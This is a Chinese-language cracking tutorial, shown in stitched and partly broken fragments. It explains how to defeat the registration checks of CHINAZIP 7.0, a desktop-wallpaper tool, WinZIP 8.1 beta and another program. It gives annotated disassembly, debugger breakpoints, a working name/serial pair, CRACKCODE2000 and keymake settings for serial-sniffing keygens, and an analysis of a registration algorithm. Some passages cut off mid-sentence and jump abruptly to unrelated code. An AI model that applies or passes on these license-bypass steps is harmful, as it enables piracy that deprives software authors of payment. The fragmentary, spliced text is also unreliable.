0167:004f4e08 mov [fs:eax],esp
0167:004f4e0b mov cl,01
0167:004f4e0d mov edx,004f4ea8
0167:004f4e12 mov eax,[ebp-04]
0167:004f4e15 call 0045283c
0167:004f4e1a mov ecx,004f4ecc
0167:004f4e1f mov edx,004f4ef4
0167:004f4e24 mov eax,[ebp-04]
0167:004f4e27 call 00452c80
0167:004f4e2c mov eax,004f4f00
0167:004f4e31 call 00458b8c
0167:004f4e36 mov eax,[0050306c]
0167:004f4e3b mov eax,[eax]
0167:004f4e3d mov edx,004f4f24
0167:004f4e42 call 00432f54
0167:004f4e47 xor eax,eax
0167:004f4e49 pop edx
0167:004f4e4a pop ecx
0167:004f4e4b pop ecx
0167:004f4e4c mov [fs:eax],edx
0167:004f4e4f push dword 004f4e6e
0167:004f4e54 mov eax,[ebp-04]
0167:004f4e57 call 004030c4
0167:004f4e5c ret
0167:004f4e5d jmp 00403824
0167:004f4e62 jmp short 004f4e54
0167:004f4e64 mov eax,004f4f48 <---由上面的0167:004f4dec处跳来，挂!;
0167:004f4e69 call 00458b8c
0167:004f4e6e xor eax,eax
整理:
Nameuunb[CCG]
CodeCCG5296
可以真接在TRW2000中下断点bpx 004f4de6，中断后用D EDX来查看真.注册码。
另附:CRACKCODE2000的CRACKCODE.INI
[Options]
CommandLine=CHINAZIP.exe
Mode=2
First_Break_Address=4f4de7
First_Break_Address_Code=E8
First_Break_Address_Code_Lenth=5
Second_Break_Address=404123
Second_Break_Address_Code_Lenth=2
Save_Code_Address=EDX
呵呵，是不是很简单？我说过了嘛，其实并不难的
我不知道你有没有发现，其实上面的软件的关键CALL还是很好找的，相信你用W32Dasm就中以找出来，那为什么不用呢？对于那些比较简单的软件，何必非请出调试器呢？
给你贴个用W32Dasm找关键CALL的:
【软件名称】e族百变桌面
【软件版本】4.0
【文件大小】1316KB
【适用平台】Win9x/Me/NT/2000
【软件简介】提供25种变换桌面的方式，让你的桌面焕然一新。操作简单，无需费力学习。支持多种Internet流行图片格式。将壁纸文件打包，方便存储、转发。将壁纸包展开，还原图片文件。
嘿嘿，我也懒的去折腾我的小猫了，咱们就还用电脑报2001年合订本配套光盘上的软件吧 (2002年的偶没有买)
首先装上它(嘿嘿，你习惯了？为什么不丢东西了？ ^_^)运行一下该软件先，该软件自动生成了相应的机器码，并停留在注册项上，输入注册码19870219,点确定,挂!
用fi检查，该软件为Delphi编译，没加壳。
用W32DASM打开该执行文件，参考-串式参考，在最下边，见到了刚才弹出的"注册码不正确，请联系作者"。
用鼠标双击，发现只有一处调用，在00488E97处,接着在串式参考对话框中在"注册码不正确，请联系作者"处向上找，找到"感谢您支持国产软件，祝您好运"(说的我都不好意思了)
用鼠标双击，仍旧只有一处调用，在00488DF7处:
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00488DCD(U)
|
:00488DD9 8B45FC mov eax, dword ptr [ebp-04]
:00488DDC 8B8020040000 mov eax, dword ptr [eax+00000420]
:00488DE2 35280BB61E xor eax, 1EB60B28
:00488DE7 3B45F8 cmp eax, dword ptr [ebp-08] <---关键比较，? EAX来查看软件正确的注册码;
:00488DEA 0F85A0000000 jne 00488E90 <---关键跳转，不相等就跳，跳必挂!
:00488DF0 6A40 push 00000040
* Possible StringData Ref from Code Obj ->"注册成功"
|
:00488DF2 68D48E4800 push 00488ED4
* Possible StringData Ref from Code Obj ->"感谢您支持国产软件，祝您好运！"
|
:00488DF7 68E08E4800 push 00488EE0 <---双击串式参考便跳到此行，我们向上找第一个跳转处就是关键跳转，关键跳转上面就是关键比较;
:00488DFC 8B45FC mov eax, dword ptr [ebp-04]
:00488DFF E81CD2FBFF call 00446020
:00488E04 50 push eax
...省略代码若干...
向上看，00488DEA处有一跳转,不相等便跳到00488E90处，跳必挂!还记的00488E97处的出错对话框吧! 罪魁祸首啊!
在向上一行，看00488DE7处:cmp eax, dword ptr [ebp-08],此为关键比较。可用? EAX查看软件正确的注册码。
整理:
打开该软件，在注册码处输入19870219,打开TRW2000,下断点bpx 00488DE7，点注册被拦。输入? EAX得到软件正确的注册码。
机器码:533226313
注册码:25061473
用注册机编写器keymake编写该软件的注册机:
点其它-另类注册机(F8),软件名称输入ePaper.exe,注册码选寄存器方式 EAX 十进制。
添加断点，中断地址:00488DE7,中断次数:1,第一字节:3B,指令长度:3。
生成注册机后完工，万事OK!
——————————

嘿嘿，现在是不是觉的找软件的注册码越来越像小时候玩的躲猫猫了？ 可惜偶小时候没有青梅竹马那种类型的伙伴...
好的，我们这次讲个有点儿名气的软件，WinZIP8.1，这个软件相信大家都用过吧，反正偶是喜欢用RAR，不过也多少用过几天这玩意儿...
如果你没听说过，那看介绍好了
【软件名称】WinZIP
【软件版本】8.1 Beta 2
【文件大小】1757KB
【适用平台】Win9x/Me/NT/2000
【软件简介】一个强大并且易用的压缩实用程序，支持ZIP、CAB、TAR、GZIP、MIME，以及更多格式的压缩文件。其特点是紧密地与Windows资源管理器拖放集成，不用离开资源管理器而进行压缩、解压缩。
不用我说了吧，出处仍旧是电脑报2001年合订本的配套光盘
我之所以先择它，是因为觉得它的关键CALL没有前边那两个那样好找(其实也就那样了^_^)极具代表性，而且通过它可以让你感受一下Ollydbg这个魅力比你家的荼几还大的调试器
这里之所以提到Ollydbg，是觉的它真是一个非常非常棒的调试器...强烈建议你多玩几次...(MP3好听吗？ ^_^)
我们来吧,首先当然还是要装上它(左闪术，右闪术)，然后用Ollydbg来载入，此时界面会被分成四个部分,左上方是软件反汇编后的代码，右上方是寄存器开会的地方，左下方是内存区，右下方显示的则是堆栈的信息。
我们来下断点，按Alt+F4，之后选USER32,然后再鼠标右键-->搜索-->当前模块中的名称，然后在那一大堆函数中找到GetDlgItemTextA，按F2来下断点，它会提示你错误，并说无法设置中断点，是不是很过瘾？(呜呜呜...大哥，我错了，再也不敢了...)
呵呵，这个我也不知道什么原因，明明是用了这个函数嘛，就是不让断，其实我对Ollydbg也不是太那个(关键是讨厌它的下断方式)看来还是用我们的万能断点吧，输入注册名Suunb[CCG]，输入注册码19870219，然后用TRW2000下断bpx hmemcpy，断到之后，pmodule返回领空后一次F12就会出错，看来所有的东东就在这里了...
我们用TRW2000再断一下，返回领空之后记着第一条指令的地址0040bd5f，呜呜呜...上条指令明明是调用GetDlgItemTextA，为什么在Ollydbg中不让下呢？
没关系，我们记下这个地址后仍旧用Ollydbg来加载程序，之后在反汇编窗口中找到0040bd5f处，然后按下F2来下断(会变为红色)，下断之后便按F9来运行程序，接着输入注册名Suunb[CCG]，注册码19870219后按确定，程序会被Ollydbg给断到:
0040BD5F |. 57 PUSH EDI
0040BD60 |. E8 F34A0500 CALL WINZIP32.00460858
0040BD65 |. 57 PUSH EDI ; /Arg1

第八章--注册码是怎样炼成的
你应该明白的是，并不是所有的软件作者都像你想象并希望的那笨 没有人愿意自己的软件被别人在调试器中用一条d指令就能找到正确的注册码...要是那样的话还出来搞什么？
前边儿我们讲的查找软件注册码的方法是有针对性的，必须保证的是该软件使用的是明码比较，这样的话，我们只需找对地方，一个d指令就成了。那既然有明码比较这个词，就不难猜出还有相应的非明码比较...非明码比较也比较容易理解，就是软件比较两个注册码的方法不同而以，并不是计算出正确的注册码后就与用户输入的进行比较，它可能会采用每计算出一位就与注码中的相应位比较一次，一但发现与用户输入的不同，就提示出错等等等等...
遇到这样的软件，我们其实也可以找到其相应的注册码，但有点儿惨，要一位一位的计下来...但是如果人家不给你面子，一但计算出某位不正确就跳走的话，那你怎么办？所以，国民想致富，种树是根本...NG！所以遇到这种软件，我们就只有对其算法进行分析，并做出注册机才是唯一的方法（如果你想写注册机的话）...
你要明白，就算我们能找到那些采用明码比较的软件的注册码，原因也仅仅是因为其采用的是明码比较，所以我们没有什么值的高兴的地方，我们真正要做的，并不是找到一个注册码而以...当然如果你刚入门，那对你的提高还是很有帮助的。我们Crack一个软件的最终目的，是对其进行相应的分析，搞懂它的注册算法并写出注册机，这样才算是成功的Crack了一个软件，成功后的心情是难以表达的！就像你便秘了多天后一下子排了出来一样 ^_^，呵呵这个比喻虽然粗俗，但是你可以想象一下，对一个软件进行仔细的分析，最后一下把它的算法给搞明白了，那种感觉...我深信不疑的认为有一天你也能体会的到，偶等你
相信你以前看过那些高人大虾的关于软件注册算法分析的文章，同时也相信你有过试图跟踪分析某软件的举动，虽然后来的结果另人不太满意
其实分析一个软件的注册算法，这其中包括了一些技巧性方面的东西以及必要的经验，很难想象一个连调试器的使用都还没掌握的人试图去分析一个软件会是怎样一个场面...嘿嘿，偶是见过的 使用调试器并不难，但那并不意味着你就能去分析一个软件了，见CALL就追这样的举动可不是偶一个人有过的经历，本章我尽量给你说明适当的分析方法。
相信大家都有不在父母陪同下独自使用调试器的能力以及看懂大部分汇编指令的能力了吧，那就够了！我们开始...
正式开始今天的正题，我来举两个例子，相信这两个例子都有足够的表达能力，最起码比我们家楼下那个卖油条的表达能力要强多了...
好的，首先，我们还是请出我们的那位老朋友吧 嘿嘿，在此，偶向CHINAZIP（中华压缩）v7.0的作者表示我内心最真诚的歉意!相信我用这个老版本的中华压缩不会给您带来经济上的麻烦...
通过前边儿两章的讲解，我们已经把这个软件大体上给搞明白了，并且也追出了其相应的注册码。而我们今天的目的是对其注册算法进行分析，并写出注册机！这个软件的注册算法其实也比较简（并且存在Bug）用它来当例子，很能说明情况...
好的，我们开始，前边儿追注册码的时候我们就已经知道了其用于计算正确注册码的关键CALL的所在位置为004f4dde，我们用TRW2000来对其进行分析!（鉴于目前大部分教程中仍以TRW2000为主，而且这个是大多数都会用的调试器，偶就用这个调试器来做具体讲解）
先启动CHINAZIP，帮助--注册（所以我才说这个软件非常适合写教程用嘛，注册后仍然中以再次注册）输入注册名Suunb[CCG]，注册码19870219。之看按Ctrl+N呼出TRW2000，下断点bpx 004f4dde，F5返回。
接着就按确定吧，呵呵，被TRW2000拦到了。通过前边两章的分析，我们以经知道了004f4dde处的这个CALL用于计算正确的注册码，所以我们直接按F8跟进吧！注册码的算法，就包涵在这个CALL中，把它给分析透了，我们也就能弄明白软件的注册码是怎样生成的了。但是要怎么分析呢？这是一个比较严肃的问题，面对那一堆堆的指令，我不知道你是怎么想的，反正我第一次时是觉的找不着北，我怎么哪些重要哪些不重要呢？再说了，里面又包涵了那么多CALL，我还要一个一个地追进去看看？
呵呵，这就是我说的技巧所在了。其实也没什么可怕的，只要你汇编不是问题，就行了。我们首先可以先把这个计算注册码的CALL从头到尾执行一遍，搞明白其中大概的跳转以及其中某些CALL的作用，hehe~~你可以执行过一个CALL后就看一下各个寄存器的变化情况（如果寄存器中的值改变了，颜色就会变）如果某寄存器的值在CALL过之后改变了，我们就可以看一下其包含的值是何类型，如是内存地址就用d指令看一下，如是数值就看一下是不是得到你输入注册名或注册码的位数等等，这样的话就可以淘汰下来一大部分的CALL，因为有许多CALL的作用只是把注册名或注册码装入到内存中的某个地址或者得到注册名（注册码）的位数或注册码某一位的ASCII码，对与这些，我们不必深究。还是推荐你用Ollydbg，执行过一条指令后很多信息都可以看到 好的，我接着说，按F8追入CALL之后先大概走一遍...我给出追入后的反汇编代码，并给出注释，相应的分析看后面...
0167:004f4fac push ebp <--F8跟入后的第一条指令
0167:004f4fad mov ebp,esp
0167:004f4faf push byte +00
0167:004f4fb1 push byte +00
0167:004f4fb3 push byte +00
0167:004f4fb5 push byte +00
0167:004f4fb7 push byte +00
0167:004f4fb9 push byte +00
0167:004f4fbb push byte +00
0167:004f4fbd push ebx
0167:004f4fbe push esi
0167:004f4fbf push edi
0167:004f4fc0 mov [ebp-08],ecx
0167:004f4fc3 mov [ebp-04],edx
0167:004f4fc6 mov eax,[ebp-04]
0167:004f4fc9 call 004041c0
0167:004f4fce xor eax,eax
0167:004f4fd0 push ebp
0167:004f4fd1 push dword 004f5097
0167:004f4fd6 push dword [fs:eax]
0167:004f4fd9 mov [fs:eax],esp
0167:004f4fdc xor esi,esi
0167:004f4fde lea eax,[ebp-0c]
0167:004f4fe1 mov edx,[ebp-04]
0167:004f4fe4 call 00403e24 <--此CALL过后用于得到用户输入的注册名
0167:004f4fe9 mov eax,[ebp-0c] <--将得到的注册名的地址装用eax寄存器
0167:004f4fec call 0040400c <--此CALL用于得到用户输入的注册名的位数，并将其放入eax中
0167:004f4ff1 mov edi,eax <--将注册名的位数装入edi中
0167:004f4ff3 test edi,edi <--对edi进行测试
0167:004f4ff5 jng 004f5051 <--如果edi中的值为0就会跳走
0167:004f4ff7 mov ebx,01 <--ebx置1，用于后面的运算
0167:004f4ffc mov eax,[ebp-0c] <--ebp-0c中装的是注册名的内存地址，此时将其付于eax
0167:004f4fff mov al,[eax+ebx-01] <--eax中此时装的是注册名的内存地址，加上ebx中的值再减去01，用于得到注册码中的相应位的字符，比如说我们第一次执行到这里的时候ebx中装入的是01，再减去01后得到的值其实还是eax本身，这样就能得到注册名中的第一个字符了，而执行到后边再跳回来时ebx会加上1，所以就能得到下一个字符了...
0167:004f5003 call 004f4f60 <--这个CALL很重要，后面会说明我们是怎样知道它很重要的
0167:004f5008 test al,al <--在这里我们会发现一个测试运算，对象是al，而al在前边CALL之前刚装入了注册名中的某一个字符，所以我们可以断定上面的那个CALL会对得到的字符做上一些手脚，待会儿我们再跟入...
0167:004f500a jz 004f5031 <--如果al中装的是0就跳到004f5031处，而al中的值会被004f5003处的那个CALL所改变
0167:004f500c lea eax,[ebp-18]
0167:004f500f mov edx,[ebp-0c] <--ebp-0c中装的是注册名的内存地址，此时装入edx中
0167:004f5012 mov dl,[edx+ebx-01] <--跟前边儿004f4fff处的指令道理相同，得到注册码中的当前参加运算的字符
0167:004f5016 call 00403f34 <--不重要!!
0167:004f501b mov eax,[ebp-18]
0167:004f501e lea edx,[ebp-14]
0167:004f5021 call 004088ac <--不重要!!
0167:004f5026 mov edx,[ebp-14]
0167:004f5029 lea eax,[ebp-10]
0167:004f502c call 00404014 <--该CALL同样比较重要，其作用是这样的，如果当前参加运算的字符在前边004f5003的CALL里进行运算之后符合了要求（符合要求后al会被置非0值）那么在004f500a处的跳转将会失去作用，而执行到这里后该CALL会将当前的这个符合要求的字符保存到00D3B3C4处（内存）!!后边儿会再详细说明
0167:004f5031 cmp ebx,byte +01 <--用此时ebx中装的值减去1
0167:004f5034 jz 004f5040 <--如果为零，也就是说此时计算的是注册名中的第一个字符的话就跳到004f5040处
0167:004f5036 mov eax,[ebp-0c] <--ebp-0c中装的是注册名的内存地址，该指令将注册名的内存地址装入eax中
0167:004f5039 movzx eax,byte [eax+ebx-02] <--用于得到上一个参加运算的字符
0167:004f503e jmp short 004f5046 <--无条件跳转到004f5046处
0167:004f5040 mov eax,[ebp-0c] <--ebp-0c中装的是注册名的内存地址
0167:004f5043 movzx eax,byte [eax] <--得到注册名的第一个字符
0167:004f5046 lea esi,[esi+eax*4+a8] <--!!!这一条指令就是关键所在，后面会说明的!!!此指令先得到本轮参加运算的字符的ASCII码，然后乘以6，之后再加上a8（即十进制数168，呵呵，可以理解）同时再将这个字符计算得到的值与前面已经运算过的字符的值的和相加!
0167:004f504d inc ebx <--ebx加1，用于得到注册码的下一个字符
0167:004f504e dec edi <--edi减1，edi中装的是注册码的位数
0167:004f504f jnz 004f4ffc <--不为零就跳到004f4ffc处开始对下一个字符进行运算...也就是说每计算完一个字符就将edi减去1，直到其为0也就是所有的字符全参加过运算为止。
0167:004f5051 lea edx,[ebp-1c] <--把装注册码后半部分的地址装入edx，传给下面的CALL
0167:004f5054 mov eax,esi <--将前面计算的注册码的后半部分的值装入eax中
0167:004f5056 call 00408c70 <--将前面计算得到的注册码后半部分的值转换为十进制，并装入ebp-1c中
0167:004f505b mov ecx,[ebp-1c] <--epb-1c中装的是注册码的后半部分
0167:004f505e lea eax,[ebp-0c]
0167:004f5061 mov edx,[ebp-10] <--ebp-10中装的是注册码的前半部分
0167:004f5064 call 00404058 <--该CALL用于将前后两部分注册码合并置一起，合并后的注册码会存放置ebp-0c处
0167:004f5069 mov eax,[ebp-08]
0167:004f506c mov edx,[ebp-0c]
0167:004f506f call 00403de0
0167:004f5074 xor eax,eax
0167:004f5076 pop edx
0167:004f5077 pop ecx
0167:004f5078 pop ecx
0167:004f5079 mov [fs:eax],edx
0167:004f507c push dword 004f509e
0167:004f5081 lea eax,[ebp-1c]
0167:004f5084 mov edx,05
0167:004f5089 call 00403db0
0167:004f508e lea eax,[ebp-04]
0167:004f5091 call 00403d8c ——————————
呵呵，看了我加了注释后的代码是不是好理解多了？你也许会问，你怎么知道那些CALL是做什么的？我前边儿不是说过方法了吗？我们先大概地过上一遍，看一下各个跳转，然后再大大概的看一下各个CALL的作用...你以为上面这些注释是我过一遍之后就能写出来的？你多过几遍，心中就会有了个大概...
你现在在想些什么？众人:站着说话不腰痛...我晕~~
呵呵，我尽量说的仔细一些:
其实很好理解的，我们追了进来，之后大概的看一下那些个CALL，其中一些稍有经验的一看就知道是用来得到注册名或长度什么的...之后我们再从头跟一遍...跟到004f4ff3处，会发现其会对注册名的位数进行一个比较，看用户是否输入了注册名...（也就是说如果edi中装的注册名的位数不大于0，即没输入就跳走，一会儿我会在后面说一下关于这点儿的Bug）而后在004f4ffc处我们会发现软件会得到注册名的内存地址，接下来的一条指令一看就知道是用来得到注册名中的各个字符的，嘿嘿，见到这类指令，马上就向下看吧，找一下下边儿哪条指令会再跳回到004f4ffc处...呵呵，我们会在004f504f处发现目标，好了，现在我们就知道了从004f4ffc到004f504f之间的那些个指令会对注册名中的每一个字符进行计算...
呵呵，也就是说软件从004f4ffc处开始先是得到注册名中的第N位字符，然后进行一系列的运算，之后执行到了004f504e处时把先前先到的注册名的位数减去1然后看其是否为0，不为0就再跳到004f4ffc处，然后得以注册名的N+1位再来进行计算。此举的目的就是为了看注册名的各位是否都被计算过了，如果不为0就说明还没有计算完，呵呵，很简单的道理嘛，edi中装的是注册名的位数，第计算过一位后就将其减1，减完了，注册名的各位也就都参加了运算...
好的，我们再来看具体的算法部分:
在004f4ff5的跳转，如果你输入了注册名，其就不会跳走...偶输入的是Suunb[CCG]，好的，此时会继续执行到004f4ff7处，该指令对ebx进行初始化...给它付1，然后在004f4ffc处时会将ebp-0c中装的注册名的内存地址装入eax中，接着的004f4fff处用于得到注册名的第一个字符，并将其装入al。想象一下，eax中装的是注册名的内存地址，从该地址开始连续10个内存单元是我们输入的注册名S u u n b [ C C G ] 呵呵，明白了吗？eax中装的内存地址就是注册名在内存中的首地址，第一次执行到这里时ebx中装的是1，eax+ebx-01后得到的还是注册名的首地址，也就是S。而等到后面004f504f处的跳转指令跳转回来之前，会在004f504d处有一条inc指令会给ebx加1，这样的话再执行到这里时就会得到注册名中的第2个字符u了，嘿嘿，第三次来之前会再给ebx加上1，明白了吗？总知你可以把ebx中的值理解为当前参加运算的字符在注册名中的位数，即ebx是1就是得到注册名的第一位（S），如果ebx是2就是得到注册名的第2位（u）.
而后紧接着在004f5003处会有一个CALL等着我们，呵呵，这个CALL比较关键，注册码的一部份由它来决定，要发现它的重要性并不难，因为在004f5003处下面会有一个跳转，跳转之前会对al进行测试，嘿嘿，而al在CALL之前装入的是当前参与运算的字符...并且你用调试器过一下这个CALL就会发现其对al进行了修改，呵呵，这个CALL会对al做一些处理，而处理的结果直接影响了后面部分的流程，所以，对于它，我们一定要跟进...最好能派出两个人在边路对其进行防守，并找专门的后位对其盯梢...
我们待会儿再跟进它，现在还是要先搞明白软件大体上的算法。好的，我接着说，在004f5008处对al进行了测试之后会有一个跳转，即如果al中此时装的值为0就跳到004f5031处去...你可以理解为这个CALL会对字符进行一些运算，如果符合了要求，al就会被置0或1什么的，出来后的测试用来判断当前字符是否符合要求，如果符合就跳或不符合就跳...
继续，由于我输入的注册名的第一个字符是S，而S刚好能通过004f5003处的那个CALL的计算 所以就没有跳走，我继续按F10进行单步执行...接下来的004f500c、004f500f、004f5012这三条指令跟前边儿的得到注册码第N位字符的指令道理是一样的，你看注释好了...而后面从004f5016到004f5029处的这几条指令也没什么好讲的，对中间的两个CALL好奇的话可以进去大概看一下。得不到什么实质性的东西...而004f502c处的这个CALL嘛，就很重要了，呵呵，它的作用是什么呢？还记的我刚才说过的004f5003处的那个CALL吧，它执行过后会使al发生变化，它下面的跳转指令会根据al的值做相应跳转，即如果al为0，就跳到004f5031处，刚好就跳过了004f502c处的这个CALL...而我输入的第一个字符是S，刚好符合了004f5003处那个CALL的要求，所以没有跳走，于是就执行到了这里，你可以追进去看一下，里面并不复杂，只是将当前参加运算的字符装入内存的00D3B3C4处（如果当前参加运算的字符在004f5003处没有通过，就不会执行到这里，呵呵，明白过来了吧，这个CALL用于收集注册名中所有符合004f5003处那个CALL要求的字符）
HOHOHO~~（请模仿周星星式的笑声...）现在我们已经明白了一半了...好的，我们继续...
不管你是从004f500a处跳到004f5031处的，还是一步步执行到这里的，总知，不管你输入的注册名中参加当前运算的那一个字符符不符合004f5003处的那个CALL的要求，总知都会执行到这里...这条指令用来干什么呢？还记的ebx中装的是参加运算的字符在注册名中的相应的位数吗？cmp ebx,byte +01 就是用ebx减去1，该条指令的用途也就是看一下当前参加运算的字符是不是注册名中的第一个字符，如果是就跳到 004f5040处，否则继续... 我们先看004f5040处，当执行到此处时，ebp-0c中装的其实是注册名的内存地址（前边就已经说过了）在这里将其装入eax中，而后面004f5043处的指令的用途就是得到注册名的第一个字符...好了，我们再拐回来看004f5036处，如果当前参加运算的字符不是注册名中的第一个字符，就不会跳走，而执行到这里时同样将ebp-0c中装的注册名的内存地址放入eax中，而004f5039处的eax,byte [eax+ebx-02]嘛，呵呵，很好理解，eax+ebx-01得到的是当前参加运算的字符的内存地址，而这里的eax+ebx-02得到的就是当前参加运算的字符的前面的那个字符，了解？
我们接着看004f5046处的那条指令吧，这个同样非常重要，它的作用是计算注册码的后半部分!
我相信你很容易就能理解它的意思了，当执行到这里时，eax中装的或者是注册码中的第一个字符，或者是当前参加运算的字符的前一个字符（注:字符在内存或寄存器中是以ASCII码来表示的，如S在eax中会显示为00000053，而S的ASCII码便是53，十进制为83）...我们第一次执行到这里时，esi中的值为0（即00000000）eax*4+a8的意思就是用当前参加运算的字符的ASCII码乘以4，再用积加上a8（也就是十进制数168，一路发？）再用这个和与esi相加，我已经说过了，第一次执行到这里时esi中的值为0...而当第二次执行到这里时，esi中装的便是注册名的第一个字符的ASCII码乘以4再加一路发的和...
你会问你为什么知道它是计算注册码的后半部分的？猜的!!呵呵，当然不是，我们可以看到，在004f5054处，程序会将前面计算的结果装用eax中，后边儿紧接着就是一个CALL，嘿嘿，光天化日之下，这也太明显了吧，我们追进去大概看一下就知道它的作用是将十六进制的数转换为十进制的...并将转换后的结果装入edx中装的内存地址处，在CALL之前我们会看到edx中的值以由004f5051处装入，即ebp-1c，呵呵，CALL过之后你用d ebp-1c看一下，就会看到你注册码的后半部分了...
而后程序会在004f505b将注册码后半部分装入ecx中，在004f505e处时会将一个内存地址ebp-0c装入eax处（它的作用就是起一个传递参数的作用，在待会儿的CALL中会用eax中装入的值来存放结果）之后的004f5061处会将ebp-10装入edx中，ebp-10处装的是什么呢？我们用d ebp-10指令看一下就会知道它的地址为00D3B3C4，嘿嘿，你的嗅觉敏感吗？不敏感的话我就再说一遍，还记的004f502c处的那个CALL吗？它的作用就是收集符合004f5003处的那个CALL的要求的字符...
嘿嘿，你明白过来了吗？
这个软件的注册算法是这样的:首先得到注册码的位数，看其是否大于0，不大于0就跳到004f5051处...好的，我们输入了Suunb[CCG]这个注册名，此时的注册码位数就是10，所以不会跳走，之后我们会来到004f4fff处，第一次执行到这里时会将注册名的第一个字符S装入al中，第二次来时会将注册名中的第二个字符（即u）装入al中，它的作用就是将当前参加运算的字符装入al中，之后紧接着就是一个CALL，这个CALL会对当前参加运算的字符进行计算...接着出来会有一个跳转，看al中装的是不是0，如果是就跳到004f5031处，如果不是非0值就说明当前这个字符符合了要求，那么就会执行到004f502c处，这里的CALL会将其存放置内存的00D3B3C4处...而后到了004f5031处会有一个比较，作用是看当前参加运算的字符是不是注册名中的第一个字符，是的话就跳到004f5040处，在此将注册名的第一个字符装入eax，用来参加004f5046处的计算。如果当前参加运算的不是注册名的第一个字符，那么就会在执行到004f5039处时得到当前参加运算的字符前面的那个字符，将其装入eax后就无条件跳到004f5046处来参加运算。了解？也就是说你输入的注册名的第一个字符会参加两次计算，而最后一个字符不会参加计算（想想看，如果当前参加运算的字符是注册名中的第一个字符，它会参加计算，如果是第二个，就取前边的一个，即第一个又会参加一次计算，到了第三个的时候取第二个，到了第四个的时候取第三个...而当最后一个字符
跳到0040446F处时，再得到的就是你输入的注册码的第3位了
00404488 |. 83C6 02 |ADD ESI,2 <--同上，ESI加上2后再跳到0040446F处重新再来一遍时就会得到正确的注册码的第3位
0040448B |. 3ACB |CMP CL,BL <--再次比较CL是否为空
0040448D |.^75 E0 \JNZ SHORT LIAOCACH.0040446F <--不为空就再跳到0040446F处，来继续比较前4位中的1、3两位
0040448F |> 33C0 XOR EAX,EAX <--1-4位全部比较完后会跳到这里
00404491 |. EB 05 JMP SHORT LIAOCACH.00404498
00404493 |> 1BC0 SBB EAX,EAX
00404495 |. 83D8 FF SBB EAX,-1
00404498 |> 3BC3 CMP EAX,EBX
0040449A |. 0F85 AB000000 JNZ LIAOCACH.0040454B
004044A0 |. 8D7424 38 LEA ESI,DWORD PTR SSESP+38] <--与上面的大体相同嘛，将正确注册码的5-8位的内存地址装入ESI中
004044A4 |. 8D4424 18 LEA EAX,DWORD PTR SSESP+18] <--你输入的注册码的5-8位的内存地址装入EAX中
004044A8 |> 8A10 /MOV DL,BYTE PTR DSEAX] <--得到你输入的注册码的第5 or 7位(道理我相信你一定已经明白了)
004044AA |. 8ACA |MOV CL,DL <--再装入CL中
004044AC |. 3A16 |CMP DL,BYTE PTR DSESI] <--与正确的注册码的第5 or 7位比较
004044AE |. 75 1C |JNZ SHORT LIAOCACH.004044CC <--不相等就跳走
004044B0 |. 3ACB |CMP CL,BL <--与BL中的00000000比较，看5-8位是否已经全部比较完毕
004044B2 |. 74 14 |JE SHORT LIAOCACH.004044C8 <--是的话就跳走
004044B4 |. 8A50 01 |MOV DL,BYTE PTR DSEAX+1] <--得到你输入的注册码的第6 or 8位
004044B7 |. 8ACA |MOV CL,DL <--装入CL
004044B9 |. 3A56 01 |CMP DL,BYTE PTR DSESI+1] <--与正确的注册码的第6 or 8位比较
004044BC |. 75 0E |JNZ SHORT LIAOCACH.004044CC <--不正确就跳走
004044BE |. 83C0 02 |ADD EAX,2 <--EAX加2，这样做的目的相信你已经知道了吧
004044C1 |. 83C6 02 |ADD ESI,2 <--ESI也加上2
004044C4 |. 3ACB |CMP CL,BL <--比较CL是否为空
004044C6 |.^75 E0 \JNZ SHORT LIAOCACH.004044A8 <--不是就跳回去再来一遍
004044C8 |> 33C0 XOR EAX,EAX <--5-8位全部比较完后全跳到这里
004044CA |. EB 05 JMP SHORT LIAOCACH.004044D1
004044CC |> 1BC0 SBB EAX,EAX
004044CE |. 83D8 FF SBB EAX,-1
004044D1 |> 3BC3 CMP EAX,EBX
004044D3 |. 75 76 JNZ SHORT LIAOCACH.0040454B
004044D5 |. 8D7424 40 LEA ESI,DWORD PTR SSESP+40] <--将正确的注册码的9-12位的内存地址装入ESI
004044D9 |. 8D4424 20 LEA EAX,DWORD PTR SSESP+20] <--你输入的
004044DD |> 8A10 /MOV DL,BYTE PTR DSEAX] <--得到你输入的注册码的第9 or 11位
004044DF |. 8ACA |MOV CL,DL <--装入CL
004044E1 |. 3A16 |CMP DL,BYTE PTR DSESI] <--与正确的注册码的第9 or 11位比较
004044E3 |. 75 1C |JNZ SHORT LIAOCACH.00404501 <--不对便跳走
004044E5 |. 3ACB |CMP CL,BL <--看CL是否为空，即看9-12位是否全部比较完毕
004044E7 |. 74 14 |JE SHORT LIAOCACH.004044FD <--是的话跳走
004044E9 |. 8A50 01 |MOV DL,BYTE PTR DSEAX+1] <--得到你输入的注册码的第10 or 12位
004044EC |. 8ACA |MOV CL,DL <--装入CL
004044EE |. 3A56 01 |CMP DL,BYTE PTR DSESI+1] <--与正确的注册码的第10 or 12位比较
004044F1 |. 75 0E |JNZ SHORT LIAOCACH.00404501 <--不相等就跳走
004044F3 |. 83C0 02 |ADD EAX,2 <--EAX加2
004044F6 |. 83C6 02 |ADD ESI,2 <--ESI加2
004044F9 |. 3ACB |CMP CL,BL <--看是否全部比较完毕
004044FB |.^75 E0 \JNZ SHORT LIAOCACH.004044DD <--没有就跳回去再来一遍
004044FD |> 33C0 XOR EAX,EAX <--9-12位全部比较完毕后会跳到这里
004044FF |. EB 05 JMP SHORT LIAOCACH.00404506
00404501 |> 1BC0 SBB EAX,EAX
00404503 |. 83D8 FF SBB EAX,-1
00404506 |> 3BC3 CMP EAX,EBX
00404508 |. 75 41 JNZ SHORT LIAOCACH.0040454B
0040450A |. 8D7424 48 LEA ESI,DWORD PTR SSESP+48] <--嘿嘿，都讲了三遍了，你一定明白了吧，所以我把这最后一段留给你自己来看吧，从这里到00404530处我相信你猜也猜的出来 (众人:鄙视你！)
0040450E |. 8D4424 28 LEA EAX,DWORD PTR SSESP+28]
00404512 |> 8A10 /MOV DL,BYTE PTR DSEAX]
00404514 |. 8ACA |MOV CL,DL
00404516 |. 3A16 |CMP DL,BYTE PTR DSESI]
00404518 |. 75 1C |JNZ SHORT LIAOCACH.00404536
0040451A |. 3ACB |CMP CL,BL
0040451C |. 74 14 |JE SHORT LIAOCACH.00404532
0040451E |. 8A50 01 |MOV DL,BYTE PTR DSEAX+1]
00404521 |. 8ACA |MOV CL,DL
00404523 |. 3A56 01 |CMP DL,BYTE PTR DSESI+1]
00404526 |. 75 0E |JNZ SHORT LIAOCACH.00404536
00404528 |. 83C0 02 |ADD EAX,2
0040452B |. 83C6 02 |ADD ESI,2
